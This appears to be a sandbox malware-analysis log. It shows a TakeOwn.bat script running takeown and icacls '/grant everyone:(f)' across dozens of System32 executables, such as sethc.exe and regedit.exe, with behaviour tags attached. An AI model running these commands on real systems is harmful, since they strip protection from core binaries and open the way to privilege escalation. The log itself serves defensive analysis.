-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\perfmon.exe"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\perfmon.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\perfmon.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\PickerHost.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\PickerHost.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\PickerHost.exe" /grant "everyone":(f)3⤵
- Possible privilege escalation attempt
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\PING.EXE"2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\PING.EXE"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\PING.EXE" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\PkgMgr.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\PkgMgr.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\PkgMgr.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\poqexec.exe"2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\poqexec.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\poqexec.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\powercfg.exe"2⤵
- Power Settings
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\powercfg.exe"3⤵
- Power Settings
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\powercfg.exe" /grant "everyone":(f)3⤵
- Power Settings
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\PresentationHost.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\PresentationHost.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\PresentationHost.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\prevhost.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\prevhost.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\prevhost.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\print.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\print.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\print.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\printui.exe"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\printui.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\printui.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\proquota.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\proquota.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\proquota.exe" /grant "everyone":(f)3⤵
- Modifies file permissions
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\provlaunch.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\provlaunch.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\provlaunch.exe" /grant "everyone":(f)3⤵
- Modifies file permissions
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\psr.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\psr.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\psr.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\quickassist.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\quickassist.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\quickassist.exe" /grant "everyone":(f)3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\rasautou.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\rasautou.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\rasautou.exe" /grant "everyone":(f)3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\rasdial.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\rasdial.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\rasdial.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\raserver.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\raserver.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\raserver.exe" /grant "everyone":(f)3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\rasphone.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\rasphone.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\rasphone.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\RdpSa.exe"2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\RdpSa.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\RdpSa.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\RdpSaProxy.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\RdpSaProxy.exe"3⤵
- Possible privilege escalation attempt
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\RdpSaProxy.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\RdpSaUacHelper.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\RdpSaUacHelper.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\RdpSaUacHelper.exe" /grant "everyone":(f)3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\rdrleakdiag.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\rdrleakdiag.exe"3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\rdrleakdiag.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\ReAgentc.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\ReAgentc.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\ReAgentc.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\recover.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\recover.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\recover.exe" /grant "everyone":(f)3⤵
- Modifies file permissions
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\reg.exe"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\reg.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\reg.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\regedit.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\regedit.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\regedit.exe" /grant "everyone":(f)3⤵
- Possible privilege escalation attempt
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\regedt32.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\regedt32.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\regedt32.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\regini.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\regini.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\regini.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\Register-CimProvider.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\Register-CimProvider.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\Register-CimProvider.exe" /grant "everyone":(f)3⤵
- Modifies file permissions
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\regsvr32.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\regsvr32.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\regsvr32.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\rekeywiz.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\rekeywiz.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\rekeywiz.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\relog.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\relog.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\relog.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\replace.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\replace.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\replace.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\resmon.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\resmon.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\resmon.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\RMActivate.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\RMActivate.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\RMActivate.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\RMActivate_isv.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\RMActivate_isv.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\RMActivate_isv.exe" /grant "everyone":(f)3⤵
- Modifies file permissions
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\RMActivate_ssp.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\RMActivate_ssp.exe"3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\RMActivate_ssp.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\RMActivate_ssp_isv.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\RMActivate_ssp_isv.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\RMActivate_ssp_isv.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\RmClient.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\RmClient.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\RmClient.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\Robocopy.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\Robocopy.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\Robocopy.exe" /grant "everyone":(f)3⤵
- Modifies file permissions
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\ROUTE.EXE"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\ROUTE.EXE"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\ROUTE.EXE" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\RpcPing.exe"2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\RpcPing.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\RpcPing.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\rrinstaller.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\rrinstaller.exe"3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\rrinstaller.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\runas.exe"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\runas.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\runas.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\rundll32.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\rundll32.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\rundll32.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\RunLegacyCPLElevated.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\RunLegacyCPLElevated.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\RunLegacyCPLElevated.exe" /grant "everyone":(f)3⤵
- Modifies file permissions
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\runonce.exe"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\runonce.exe"3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\runonce.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\sc.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\sc.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\sc.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\schtasks.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\schtasks.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\schtasks.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\sdbinst.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\sdbinst.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\sdbinst.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\sdchange.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\sdchange.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\sdchange.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\sdiagnhost.exe"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\sdiagnhost.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\sdiagnhost.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\SearchFilterHost.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\SearchFilterHost.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\SearchFilterHost.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\SearchIndexer.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\SearchIndexer.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\SearchIndexer.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\SearchProtocolHost.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\SearchProtocolHost.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\SearchProtocolHost.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\SecEdit.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\SecEdit.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\SecEdit.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\secinit.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\secinit.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\secinit.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\sethc.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\sethc.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\sethc.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\SettingSyncHost.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\SettingSyncHost.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\SettingSyncHost.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\setup16.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\setup16.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\setup16.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\setupugc.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\setupugc.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\setupugc.exe" /grant "everyone":(f)3⤵
- Possible privilege escalation attempt
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\setx.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\setx.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\setx.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\sfc.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\sfc.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\sfc.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\shrpubw.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\shrpubw.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\shrpubw.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\shutdown.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\shutdown.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\shutdown.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\SndVol.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\SndVol.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\SndVol.exe" /grant "everyone":(f)3⤵
- Possible privilege escalation attempt
-
-
-
